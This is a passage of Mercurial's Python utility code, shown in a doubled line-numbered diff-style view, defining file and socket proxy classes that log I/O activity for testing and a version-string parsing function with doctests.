475 return object.__getattribute__(self, r'_observedcall')(
480 return object.__getattribute__(self, r'_observedcall')(
476 r'fileno', *args, **kwargs)
481 r'fileno', *args, **kwargs)
477
482
478 def flush(self, *args, **kwargs):
483 def flush(self, *args, **kwargs):
479 return object.__getattribute__(self, r'_observedcall')(
484 return object.__getattribute__(self, r'_observedcall')(
480 r'flush', *args, **kwargs)
485 r'flush', *args, **kwargs)
481
486
482 def isatty(self, *args, **kwargs):
487 def isatty(self, *args, **kwargs):
483 return object.__getattribute__(self, r'_observedcall')(
488 return object.__getattribute__(self, r'_observedcall')(
484 r'isatty', *args, **kwargs)
489 r'isatty', *args, **kwargs)
485
490
486 def readable(self, *args, **kwargs):
491 def readable(self, *args, **kwargs):
487 return object.__getattribute__(self, r'_observedcall')(
492 return object.__getattribute__(self, r'_observedcall')(
488 r'readable', *args, **kwargs)
493 r'readable', *args, **kwargs)
489
494
490 def readline(self, *args, **kwargs):
495 def readline(self, *args, **kwargs):
491 return object.__getattribute__(self, r'_observedcall')(
496 return object.__getattribute__(self, r'_observedcall')(
492 r'readline', *args, **kwargs)
497 r'readline', *args, **kwargs)
493
498
494 def readlines(self, *args, **kwargs):
499 def readlines(self, *args, **kwargs):
495 return object.__getattribute__(self, r'_observedcall')(
500 return object.__getattribute__(self, r'_observedcall')(
496 r'readlines', *args, **kwargs)
501 r'readlines', *args, **kwargs)
497
502
498 def seek(self, *args, **kwargs):
503 def seek(self, *args, **kwargs):
499 return object.__getattribute__(self, r'_observedcall')(
504 return object.__getattribute__(self, r'_observedcall')(
500 r'seek', *args, **kwargs)
505 r'seek', *args, **kwargs)
501
506
502 def seekable(self, *args, **kwargs):
507 def seekable(self, *args, **kwargs):
503 return object.__getattribute__(self, r'_observedcall')(
508 return object.__getattribute__(self, r'_observedcall')(
504 r'seekable', *args, **kwargs)
509 r'seekable', *args, **kwargs)
505
510
506 def tell(self, *args, **kwargs):
511 def tell(self, *args, **kwargs):
507 return object.__getattribute__(self, r'_observedcall')(
512 return object.__getattribute__(self, r'_observedcall')(
508 r'tell', *args, **kwargs)
513 r'tell', *args, **kwargs)
509
514
510 def truncate(self, *args, **kwargs):
515 def truncate(self, *args, **kwargs):
511 return object.__getattribute__(self, r'_observedcall')(
516 return object.__getattribute__(self, r'_observedcall')(
512 r'truncate', *args, **kwargs)
517 r'truncate', *args, **kwargs)
513
518
514 def writable(self, *args, **kwargs):
519 def writable(self, *args, **kwargs):
515 return object.__getattribute__(self, r'_observedcall')(
520 return object.__getattribute__(self, r'_observedcall')(
516 r'writable', *args, **kwargs)
521 r'writable', *args, **kwargs)
517
522
518 def writelines(self, *args, **kwargs):
523 def writelines(self, *args, **kwargs):
519 return object.__getattribute__(self, r'_observedcall')(
524 return object.__getattribute__(self, r'_observedcall')(
520 r'writelines', *args, **kwargs)
525 r'writelines', *args, **kwargs)
521
526
522 def read(self, *args, **kwargs):
527 def read(self, *args, **kwargs):
523 return object.__getattribute__(self, r'_observedcall')(
528 return object.__getattribute__(self, r'_observedcall')(
524 r'read', *args, **kwargs)
529 r'read', *args, **kwargs)
525
530
526 def readall(self, *args, **kwargs):
531 def readall(self, *args, **kwargs):
527 return object.__getattribute__(self, r'_observedcall')(
532 return object.__getattribute__(self, r'_observedcall')(
528 r'readall', *args, **kwargs)
533 r'readall', *args, **kwargs)
529
534
530 def readinto(self, *args, **kwargs):
535 def readinto(self, *args, **kwargs):
531 return object.__getattribute__(self, r'_observedcall')(
536 return object.__getattribute__(self, r'_observedcall')(
532 r'readinto', *args, **kwargs)
537 r'readinto', *args, **kwargs)
533
538
534 def write(self, *args, **kwargs):
539 def write(self, *args, **kwargs):
535 return object.__getattribute__(self, r'_observedcall')(
540 return object.__getattribute__(self, r'_observedcall')(
536 r'write', *args, **kwargs)
541 r'write', *args, **kwargs)
537
542
538 def detach(self, *args, **kwargs):
543 def detach(self, *args, **kwargs):
539 return object.__getattribute__(self, r'_observedcall')(
544 return object.__getattribute__(self, r'_observedcall')(
540 r'detach', *args, **kwargs)
545 r'detach', *args, **kwargs)
541
546
542 def read1(self, *args, **kwargs):
547 def read1(self, *args, **kwargs):
543 return object.__getattribute__(self, r'_observedcall')(
548 return object.__getattribute__(self, r'_observedcall')(
544 r'read1', *args, **kwargs)
549 r'read1', *args, **kwargs)
545
550
546 class observedbufferedinputpipe(bufferedinputpipe):
551 class observedbufferedinputpipe(bufferedinputpipe):
547 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
552 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
548
553
549 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
554 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
550 bypass ``fileobjectproxy``. Because of this, we need to make
555 bypass ``fileobjectproxy``. Because of this, we need to make
551 ``bufferedinputpipe`` aware of these operations.
556 ``bufferedinputpipe`` aware of these operations.
552
557
553 This variation of ``bufferedinputpipe`` can notify observers about
558 This variation of ``bufferedinputpipe`` can notify observers about
554 ``os.read()`` events. It also re-publishes other events, such as
559 ``os.read()`` events. It also re-publishes other events, such as
555 ``read()`` and ``readline()``.
560 ``read()`` and ``readline()``.
556 """
561 """
557 def _fillbuffer(self):
562 def _fillbuffer(self):
558 res = super(observedbufferedinputpipe, self)._fillbuffer()
563 res = super(observedbufferedinputpipe, self)._fillbuffer()
559
564
560 fn = getattr(self._input._observer, r'osread', None)
565 fn = getattr(self._input._observer, r'osread', None)
561 if fn:
566 if fn:
562 fn(res, _chunksize)
567 fn(res, _chunksize)
563
568
564 return res
569 return res
565
570
566 # We use different observer methods because the operation isn't
571 # We use different observer methods because the operation isn't
567 # performed on the actual file object but on us.
572 # performed on the actual file object but on us.
568 def read(self, size):
573 def read(self, size):
569 res = super(observedbufferedinputpipe, self).read(size)
574 res = super(observedbufferedinputpipe, self).read(size)
570
575
571 fn = getattr(self._input._observer, r'bufferedread', None)
576 fn = getattr(self._input._observer, r'bufferedread', None)
572 if fn:
577 if fn:
573 fn(res, size)
578 fn(res, size)
574
579
575 return res
580 return res
576
581
577 def readline(self, *args, **kwargs):
582 def readline(self, *args, **kwargs):
578 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
583 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
579
584
580 fn = getattr(self._input._observer, r'bufferedreadline', None)
585 fn = getattr(self._input._observer, r'bufferedreadline', None)
581 if fn:
586 if fn:
582 fn(res)
587 fn(res)
583
588
584 return res
589 return res
585
590
586 PROXIED_SOCKET_METHODS = {
591 PROXIED_SOCKET_METHODS = {
587 r'makefile',
592 r'makefile',
588 r'recv',
593 r'recv',
589 r'recvfrom',
594 r'recvfrom',
590 r'recvfrom_into',
595 r'recvfrom_into',
591 r'recv_into',
596 r'recv_into',
592 r'send',
597 r'send',
593 r'sendall',
598 r'sendall',
594 r'sendto',
599 r'sendto',
595 r'setblocking',
600 r'setblocking',
596 r'settimeout',
601 r'settimeout',
597 r'gettimeout',
602 r'gettimeout',
598 r'setsockopt',
603 r'setsockopt',
599 }
604 }
600
605
601 class socketproxy(object):
606 class socketproxy(object):
602 """A proxy around a socket that tells a watcher when events occur.
607 """A proxy around a socket that tells a watcher when events occur.
603
608
604 This is like ``fileobjectproxy`` except for sockets.
609 This is like ``fileobjectproxy`` except for sockets.
605
610
606 This type is intended to only be used for testing purposes. Think hard
611 This type is intended to only be used for testing purposes. Think hard
607 before using it in important code.
612 before using it in important code.
608 """
613 """
609 __slots__ = (
614 __slots__ = (
610 r'_orig',
615 r'_orig',
611 r'_observer',
616 r'_observer',
612 )
617 )
613
618
614 def __init__(self, sock, observer):
619 def __init__(self, sock, observer):
615 object.__setattr__(self, r'_orig', sock)
620 object.__setattr__(self, r'_orig', sock)
616 object.__setattr__(self, r'_observer', observer)
621 object.__setattr__(self, r'_observer', observer)
617
622
618 def __getattribute__(self, name):
623 def __getattribute__(self, name):
619 if name in PROXIED_SOCKET_METHODS:
624 if name in PROXIED_SOCKET_METHODS:
620 return object.__getattribute__(self, name)
625 return object.__getattribute__(self, name)
621
626
622 return getattr(object.__getattribute__(self, r'_orig'), name)
627 return getattr(object.__getattribute__(self, r'_orig'), name)
623
628
624 def __delattr__(self, name):
629 def __delattr__(self, name):
625 return delattr(object.__getattribute__(self, r'_orig'), name)
630 return delattr(object.__getattribute__(self, r'_orig'), name)
626
631
627 def __setattr__(self, name, value):
632 def __setattr__(self, name, value):
628 return setattr(object.__getattribute__(self, r'_orig'), name, value)
633 return setattr(object.__getattribute__(self, r'_orig'), name, value)
629
634
630 def __nonzero__(self):
635 def __nonzero__(self):
631 return bool(object.__getattribute__(self, r'_orig'))
636 return bool(object.__getattribute__(self, r'_orig'))
632
637
633 __bool__ = __nonzero__
638 __bool__ = __nonzero__
634
639
635 def _observedcall(self, name, *args, **kwargs):
640 def _observedcall(self, name, *args, **kwargs):
636 # Call the original object.
641 # Call the original object.
637 orig = object.__getattribute__(self, r'_orig')
642 orig = object.__getattribute__(self, r'_orig')
638 res = getattr(orig, name)(*args, **kwargs)
643 res = getattr(orig, name)(*args, **kwargs)
639
644
640 # Call a method on the observer of the same name with arguments
645 # Call a method on the observer of the same name with arguments
641 # so it can react, log, etc.
646 # so it can react, log, etc.
642 observer = object.__getattribute__(self, r'_observer')
647 observer = object.__getattribute__(self, r'_observer')
643 fn = getattr(observer, name, None)
648 fn = getattr(observer, name, None)
644 if fn:
649 if fn:
645 fn(res, *args, **kwargs)
650 fn(res, *args, **kwargs)
646
651
647 return res
652 return res
648
653
649 def makefile(self, *args, **kwargs):
654 def makefile(self, *args, **kwargs):
650 res = object.__getattribute__(self, r'_observedcall')(
655 res = object.__getattribute__(self, r'_observedcall')(
651 r'makefile', *args, **kwargs)
656 r'makefile', *args, **kwargs)
652
657
653 # The file object may be used for I/O. So we turn it into a
658 # The file object may be used for I/O. So we turn it into a
654 # proxy using our observer.
659 # proxy using our observer.
655 observer = object.__getattribute__(self, r'_observer')
660 observer = object.__getattribute__(self, r'_observer')
656 return makeloggingfileobject(observer.fh, res, observer.name,
661 return makeloggingfileobject(observer.fh, res, observer.name,
657 reads=observer.reads,
662 reads=observer.reads,
658 writes=observer.writes,
663 writes=observer.writes,
659 logdata=observer.logdata,
664 logdata=observer.logdata,
660 logdataapis=observer.logdataapis)
665 logdataapis=observer.logdataapis)
661
666
662 def recv(self, *args, **kwargs):
667 def recv(self, *args, **kwargs):
663 return object.__getattribute__(self, r'_observedcall')(
668 return object.__getattribute__(self, r'_observedcall')(
664 r'recv', *args, **kwargs)
669 r'recv', *args, **kwargs)
665
670
666 def recvfrom(self, *args, **kwargs):
671 def recvfrom(self, *args, **kwargs):
667 return object.__getattribute__(self, r'_observedcall')(
672 return object.__getattribute__(self, r'_observedcall')(
668 r'recvfrom', *args, **kwargs)
673 r'recvfrom', *args, **kwargs)
669
674
670 def recvfrom_into(self, *args, **kwargs):
675 def recvfrom_into(self, *args, **kwargs):
671 return object.__getattribute__(self, r'_observedcall')(
676 return object.__getattribute__(self, r'_observedcall')(
672 r'recvfrom_into', *args, **kwargs)
677 r'recvfrom_into', *args, **kwargs)
673
678
674 def recv_into(self, *args, **kwargs):
679 def recv_into(self, *args, **kwargs):
675 return object.__getattribute__(self, r'_observedcall')(
680 return object.__getattribute__(self, r'_observedcall')(
676 r'recv_info', *args, **kwargs)
681 r'recv_info', *args, **kwargs)
677
682
678 def send(self, *args, **kwargs):
683 def send(self, *args, **kwargs):
679 return object.__getattribute__(self, r'_observedcall')(
684 return object.__getattribute__(self, r'_observedcall')(
680 r'send', *args, **kwargs)
685 r'send', *args, **kwargs)
681
686
682 def sendall(self, *args, **kwargs):
687 def sendall(self, *args, **kwargs):
683 return object.__getattribute__(self, r'_observedcall')(
688 return object.__getattribute__(self, r'_observedcall')(
684 r'sendall', *args, **kwargs)
689 r'sendall', *args, **kwargs)
685
690
686 def sendto(self, *args, **kwargs):
691 def sendto(self, *args, **kwargs):
687 return object.__getattribute__(self, r'_observedcall')(
692 return object.__getattribute__(self, r'_observedcall')(
688 r'sendto', *args, **kwargs)
693 r'sendto', *args, **kwargs)
689
694
690 def setblocking(self, *args, **kwargs):
695 def setblocking(self, *args, **kwargs):
691 return object.__getattribute__(self, r'_observedcall')(
696 return object.__getattribute__(self, r'_observedcall')(
692 r'setblocking', *args, **kwargs)
697 r'setblocking', *args, **kwargs)
693
698
694 def settimeout(self, *args, **kwargs):
699 def settimeout(self, *args, **kwargs):
695 return object.__getattribute__(self, r'_observedcall')(
700 return object.__getattribute__(self, r'_observedcall')(
696 r'settimeout', *args, **kwargs)
701 r'settimeout', *args, **kwargs)
697
702
698 def gettimeout(self, *args, **kwargs):
703 def gettimeout(self, *args, **kwargs):
699 return object.__getattribute__(self, r'_observedcall')(
704 return object.__getattribute__(self, r'_observedcall')(
700 r'gettimeout', *args, **kwargs)
705 r'gettimeout', *args, **kwargs)
701
706
702 def setsockopt(self, *args, **kwargs):
707 def setsockopt(self, *args, **kwargs):
703 return object.__getattribute__(self, r'_observedcall')(
708 return object.__getattribute__(self, r'_observedcall')(
704 r'setsockopt', *args, **kwargs)
709 r'setsockopt', *args, **kwargs)
705
710
706 class baseproxyobserver(object):
711 class baseproxyobserver(object):
707 def _writedata(self, data):
712 def _writedata(self, data):
708 if not self.logdata:
713 if not self.logdata:
709 if self.logdataapis:
714 if self.logdataapis:
710 self.fh.write('\n')
715 self.fh.write('\n')
711 self.fh.flush()
716 self.fh.flush()
712 return
717 return
713
718
714 # Simple case writes all data on a single line.
719 # Simple case writes all data on a single line.
715 if b'\n' not in data:
720 if b'\n' not in data:
716 if self.logdataapis:
721 if self.logdataapis:
717 self.fh.write(': %s\n' % stringutil.escapestr(data))
722 self.fh.write(': %s\n' % stringutil.escapestr(data))
718 else:
723 else:
719 self.fh.write('%s> %s\n'
724 self.fh.write('%s> %s\n'
720 % (self.name, stringutil.escapestr(data)))
725 % (self.name, stringutil.escapestr(data)))
721 self.fh.flush()
726 self.fh.flush()
722 return
727 return
723
728
724 # Data with newlines is written to multiple lines.
729 # Data with newlines is written to multiple lines.
725 if self.logdataapis:
730 if self.logdataapis:
726 self.fh.write(':\n')
731 self.fh.write(':\n')
727
732
728 lines = data.splitlines(True)
733 lines = data.splitlines(True)
729 for line in lines:
734 for line in lines:
730 self.fh.write('%s> %s\n'
735 self.fh.write('%s> %s\n'
731 % (self.name, stringutil.escapestr(line)))
736 % (self.name, stringutil.escapestr(line)))
732 self.fh.flush()
737 self.fh.flush()
733
738
734 class fileobjectobserver(baseproxyobserver):
739 class fileobjectobserver(baseproxyobserver):
735 """Logs file object activity."""
740 """Logs file object activity."""
736 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
741 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
737 logdataapis=True):
742 logdataapis=True):
738 self.fh = fh
743 self.fh = fh
739 self.name = name
744 self.name = name
740 self.logdata = logdata
745 self.logdata = logdata
741 self.logdataapis = logdataapis
746 self.logdataapis = logdataapis
742 self.reads = reads
747 self.reads = reads
743 self.writes = writes
748 self.writes = writes
744
749
745 def read(self, res, size=-1):
750 def read(self, res, size=-1):
746 if not self.reads:
751 if not self.reads:
747 return
752 return
748 # Python 3 can return None from reads at EOF instead of empty strings.
753 # Python 3 can return None from reads at EOF instead of empty strings.
749 if res is None:
754 if res is None:
750 res = ''
755 res = ''
751
756
752 if size == -1 and res == '':
757 if size == -1 and res == '':
753 # Suppress pointless read(-1) calls that return
758 # Suppress pointless read(-1) calls that return
754 # nothing. These happen _a lot_ on Python 3, and there
759 # nothing. These happen _a lot_ on Python 3, and there
755 # doesn't seem to be a better workaround to have matching
760 # doesn't seem to be a better workaround to have matching
756 # Python 2 and 3 behavior. :(
761 # Python 2 and 3 behavior. :(
757 return
762 return
758
763
759 if self.logdataapis:
764 if self.logdataapis:
760 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
765 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
761
766
762 self._writedata(res)
767 self._writedata(res)
763
768
764 def readline(self, res, limit=-1):
769 def readline(self, res, limit=-1):
765 if not self.reads:
770 if not self.reads:
766 return
771 return
767
772
768 if self.logdataapis:
773 if self.logdataapis:
769 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
774 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
770
775
771 self._writedata(res)
776 self._writedata(res)
772
777
773 def readinto(self, res, dest):
778 def readinto(self, res, dest):
774 if not self.reads:
779 if not self.reads:
775 return
780 return
776
781
777 if self.logdataapis:
782 if self.logdataapis:
778 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
783 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
779 res))
784 res))
780
785
781 data = dest[0:res] if res is not None else b''
786 data = dest[0:res] if res is not None else b''
782 self._writedata(data)
787 self._writedata(data)
783
788
784 def write(self, res, data):
789 def write(self, res, data):
785 if not self.writes:
790 if not self.writes:
786 return
791 return
787
792
788 # Python 2 returns None from some write() calls. Python 3 (reasonably)
793 # Python 2 returns None from some write() calls. Python 3 (reasonably)
789 # returns the integer bytes written.
794 # returns the integer bytes written.
790 if res is None and data:
795 if res is None and data:
791 res = len(data)
796 res = len(data)
792
797
793 if self.logdataapis:
798 if self.logdataapis:
794 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
799 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
795
800
796 self._writedata(data)
801 self._writedata(data)
797
802
798 def flush(self, res):
803 def flush(self, res):
799 if not self.writes:
804 if not self.writes:
800 return
805 return
801
806
802 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
807 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
803
808
804 # For observedbufferedinputpipe.
809 # For observedbufferedinputpipe.
805 def bufferedread(self, res, size):
810 def bufferedread(self, res, size):
806 if not self.reads:
811 if not self.reads:
807 return
812 return
808
813
809 if self.logdataapis:
814 if self.logdataapis:
810 self.fh.write('%s> bufferedread(%d) -> %d' % (
815 self.fh.write('%s> bufferedread(%d) -> %d' % (
811 self.name, size, len(res)))
816 self.name, size, len(res)))
812
817
813 self._writedata(res)
818 self._writedata(res)
814
819
815 def bufferedreadline(self, res):
820 def bufferedreadline(self, res):
816 if not self.reads:
821 if not self.reads:
817 return
822 return
818
823
819 if self.logdataapis:
824 if self.logdataapis:
820 self.fh.write('%s> bufferedreadline() -> %d' % (
825 self.fh.write('%s> bufferedreadline() -> %d' % (
821 self.name, len(res)))
826 self.name, len(res)))
822
827
823 self._writedata(res)
828 self._writedata(res)
824
829
825 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
830 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
826 logdata=False, logdataapis=True):
831 logdata=False, logdataapis=True):
827 """Turn a file object into a logging file object."""
832 """Turn a file object into a logging file object."""
828
833
829 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
834 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
830 logdata=logdata, logdataapis=logdataapis)
835 logdata=logdata, logdataapis=logdataapis)
831 return fileobjectproxy(fh, observer)
836 return fileobjectproxy(fh, observer)
832
837
833 class socketobserver(baseproxyobserver):
838 class socketobserver(baseproxyobserver):
834 """Logs socket activity."""
839 """Logs socket activity."""
835 def __init__(self, fh, name, reads=True, writes=True, states=True,
840 def __init__(self, fh, name, reads=True, writes=True, states=True,
836 logdata=False, logdataapis=True):
841 logdata=False, logdataapis=True):
837 self.fh = fh
842 self.fh = fh
838 self.name = name
843 self.name = name
839 self.reads = reads
844 self.reads = reads
840 self.writes = writes
845 self.writes = writes
841 self.states = states
846 self.states = states
842 self.logdata = logdata
847 self.logdata = logdata
843 self.logdataapis = logdataapis
848 self.logdataapis = logdataapis
844
849
845 def makefile(self, res, mode=None, bufsize=None):
850 def makefile(self, res, mode=None, bufsize=None):
846 if not self.states:
851 if not self.states:
847 return
852 return
848
853
849 self.fh.write('%s> makefile(%r, %r)\n' % (
854 self.fh.write('%s> makefile(%r, %r)\n' % (
850 self.name, mode, bufsize))
855 self.name, mode, bufsize))
851
856
852 def recv(self, res, size, flags=0):
857 def recv(self, res, size, flags=0):
853 if not self.reads:
858 if not self.reads:
854 return
859 return
855
860
856 if self.logdataapis:
861 if self.logdataapis:
857 self.fh.write('%s> recv(%d, %d) -> %d' % (
862 self.fh.write('%s> recv(%d, %d) -> %d' % (
858 self.name, size, flags, len(res)))
863 self.name, size, flags, len(res)))
859 self._writedata(res)
864 self._writedata(res)
860
865
861 def recvfrom(self, res, size, flags=0):
866 def recvfrom(self, res, size, flags=0):
862 if not self.reads:
867 if not self.reads:
863 return
868 return
864
869
865 if self.logdataapis:
870 if self.logdataapis:
866 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
871 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
867 self.name, size, flags, len(res[0])))
872 self.name, size, flags, len(res[0])))
868
873
869 self._writedata(res[0])
874 self._writedata(res[0])
870
875
871 def recvfrom_into(self, res, buf, size, flags=0):
876 def recvfrom_into(self, res, buf, size, flags=0):
872 if not self.reads:
877 if not self.reads:
873 return
878 return
874
879
875 if self.logdataapis:
880 if self.logdataapis:
876 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
881 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
877 self.name, size, flags, res[0]))
882 self.name, size, flags, res[0]))
878
883
879 self._writedata(buf[0:res[0]])
884 self._writedata(buf[0:res[0]])
880
885
881 def recv_into(self, res, buf, size=0, flags=0):
886 def recv_into(self, res, buf, size=0, flags=0):
882 if not self.reads:
887 if not self.reads:
883 return
888 return
884
889
885 if self.logdataapis:
890 if self.logdataapis:
886 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
891 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
887 self.name, size, flags, res))
892 self.name, size, flags, res))
888
893
889 self._writedata(buf[0:res])
894 self._writedata(buf[0:res])
890
895
891 def send(self, res, data, flags=0):
896 def send(self, res, data, flags=0):
892 if not self.writes:
897 if not self.writes:
893 return
898 return
894
899
895 self.fh.write('%s> send(%d, %d) -> %d' % (
900 self.fh.write('%s> send(%d, %d) -> %d' % (
896 self.name, len(data), flags, len(res)))
901 self.name, len(data), flags, len(res)))
897 self._writedata(data)
902 self._writedata(data)
898
903
899 def sendall(self, res, data, flags=0):
904 def sendall(self, res, data, flags=0):
900 if not self.writes:
905 if not self.writes:
901 return
906 return
902
907
903 if self.logdataapis:
908 if self.logdataapis:
904 # Returns None on success. So don't bother reporting return value.
909 # Returns None on success. So don't bother reporting return value.
905 self.fh.write('%s> sendall(%d, %d)' % (
910 self.fh.write('%s> sendall(%d, %d)' % (
906 self.name, len(data), flags))
911 self.name, len(data), flags))
907
912
908 self._writedata(data)
913 self._writedata(data)
909
914
910 def sendto(self, res, data, flagsoraddress, address=None):
915 def sendto(self, res, data, flagsoraddress, address=None):
911 if not self.writes:
916 if not self.writes:
912 return
917 return
913
918
914 if address:
919 if address:
915 flags = flagsoraddress
920 flags = flagsoraddress
916 else:
921 else:
917 flags = 0
922 flags = 0
918
923
919 if self.logdataapis:
924 if self.logdataapis:
920 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
925 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
921 self.name, len(data), flags, address, res))
926 self.name, len(data), flags, address, res))
922
927
923 self._writedata(data)
928 self._writedata(data)
924
929
925 def setblocking(self, res, flag):
930 def setblocking(self, res, flag):
926 if not self.states:
931 if not self.states:
927 return
932 return
928
933
929 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
934 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
930
935
931 def settimeout(self, res, value):
936 def settimeout(self, res, value):
932 if not self.states:
937 if not self.states:
933 return
938 return
934
939
935 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
940 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
936
941
937 def gettimeout(self, res):
942 def gettimeout(self, res):
938 if not self.states:
943 if not self.states:
939 return
944 return
940
945
941 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
946 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
942
947
943 def setsockopt(self, level, optname, value):
948 def setsockopt(self, level, optname, value):
944 if not self.states:
949 if not self.states:
945 return
950 return
946
951
947 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
952 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
948 self.name, level, optname, value))
953 self.name, level, optname, value))
949
954
950 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
955 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
951 logdata=False, logdataapis=True):
956 logdata=False, logdataapis=True):
952 """Turn a socket into a logging socket."""
957 """Turn a socket into a logging socket."""
953
958
954 observer = socketobserver(logh, name, reads=reads, writes=writes,
959 observer = socketobserver(logh, name, reads=reads, writes=writes,
955 states=states, logdata=logdata,
960 states=states, logdata=logdata,
956 logdataapis=logdataapis)
961 logdataapis=logdataapis)
957 return socketproxy(fh, observer)
962 return socketproxy(fh, observer)
958
963
959 def version():
964 def version():
960 """Return version information if available."""
965 """Return version information if available."""
961 try:
966 try:
962 from . import __version__
967 from . import __version__
963 return __version__.version
968 return __version__.version
964 except ImportError:
969 except ImportError:
965 return 'unknown'
970 return 'unknown'
966
971
967 def versiontuple(v=None, n=4):
972 def versiontuple(v=None, n=4):
968 """Parses a Mercurial version string into an N-tuple.
973 """Parses a Mercurial version string into an N-tuple.
969
974
970 The version string to be parsed is specified with the ``v`` argument.
975 The version string to be parsed is specified with the ``v`` argument.
971 If it isn't defined, the current Mercurial version string will be parsed.
976 If it isn't defined, the current Mercurial version string will be parsed.
972
977
973 ``n`` can be 2, 3, or 4. Here is how some version strings map to
978 ``n`` can be 2, 3, or 4. Here is how some version strings map to
974 returned values:
979 returned values:
975
980
976 >>> v = b'3.6.1+190-df9b73d2d444'
981 >>> v = b'3.6.1+190-df9b73d2d444'
977 >>> versiontuple(v, 2)
982 >>> versiontuple(v, 2)
978 (3, 6)
983 (3, 6)
979 >>> versiontuple(v, 3)
984 >>> versiontuple(v, 3)
980 (3, 6, 1)
985 (3, 6, 1)
981 >>> versiontuple(v, 4)
986 >>> versiontuple(v, 4)
982 (3, 6, 1, '190-df9b73d2d444')
987 (3, 6, 1, '190-df9b73d2d444')
983
988
984 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
989 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
985 (3, 6, 1, '190-df9b73d2d444+20151118')
990 (3, 6, 1, '190-df9b73d2d444+20151118')
986
991
987 >>> v = b'3.6'
992 >>> v = b'3.6'
988 >>> versiontuple(v, 2)
993 >>> versiontuple(v, 2)
989 (3, 6)
994 (3, 6)
990 >>> versiontuple(v, 3)
995 >>> versiontuple(v, 3)
991 (3, 6, None)
996 (3, 6, None)
992 >>> versiontuple(v, 4)
997 >>> versiontuple(v, 4)
993 (3, 6, None, None)
998 (3, 6, None, None)
994
999
995 >>> v = b'3.9-rc'
1000 >>> v = b'3.9-rc'
996 >>> versiontuple(v, 2)
1001 >>> versiontuple(v, 2)
997 (3, 9)
1002 (3, 9)
998 >>> versiontuple(v, 3)
1003 >>> versiontuple(v, 3)
999 (3, 9, None)
1004 (3, 9, None)
1000 >>> versiontuple(v, 4)
1005 >>> versiontuple(v, 4)
1001 (3, 9, None, 'rc')
1006 (3, 9, None, 'rc')
1002
1007
1003 >>> v = b'3.9-rc+2-02a8fea4289b'
1008 >>> v = b'3.9-rc+2-02a8fea4289b'
1004 >>> versiontuple(v, 2)
1009 >>> versiontuple(v, 2)
1005 (3, 9)
1010 (3, 9)
1006 >>> versiontuple(v, 3)
1011 >>> versiontuple(v, 3)
1007 (3, 9, None)
1012 (3, 9, None)
1008 >>> versiontuple(v, 4)
1013 >>> versiontuple(v, 4)
1009 (3, 9, None, 'rc+2-02a8fea4289b')
1014 (3, 9, None, 'rc+2-02a8fea4289b')
1010
1015
1011 >>> versiontuple(b'4.6rc0')
1016 >>> versiontuple(b'4.6rc0')
1012 (4, 6, None, 'rc0')
1017 (4, 6, None, 'rc0')
1013 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1018 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1014 (4, 6, None, 'rc0+12-425d55e54f98')
1019 (4, 6, None, 'rc0+12-425d55e54f98')
1015 >>> versiontuple(b'.1.2.3')
1020 >>> versiontuple(b'.1.2.3')
1016 (None, None, None, '.1.2.3')
1021 (None, None, None, '.1.2.3')
1017 >>> versiontuple(b'12.34..5')
1022 >>> versiontuple(b'12.34..5')
1018 (12, 34, None, '..5')
1023 (12, 34, None, '..5')
1019 >>> versiontuple(b'1.2.3.4.5.6')
1024 >>> versiontuple(b'1.2.3.4.5.6')
1020 (1, 2, 3, '.4.5.6')
1025 (1, 2, 3, '.4.5.6')
1021 """
1026 """
1022 if not v:
1027 if not v:
1023 v = version()
1028 v = version()
1024 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1029 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1025 if not m:
1030 if not m:
1026 vparts, extra = '', v
1031 vparts, extra = '', v
1027 elif m.group(2):
1032 elif m.group(2):
1028 vparts, extra = m.groups()
1033 vparts, extra = m.groups()
1029 else:
1034 else:
1030 vparts, extra = m.group(1), None
1035 vparts, extra = m.group(1), None
1031
1036
1032 vints = []
1037 vints = []
1033 for i in vparts.split('.'):
1038 for i in vparts.split('.'):
1034 try:
1039 try:
1035 vints.append(int(i))
1040 vints.append(int(i))
1036 except ValueError:
1041 except ValueError:
1037 break
1042 break
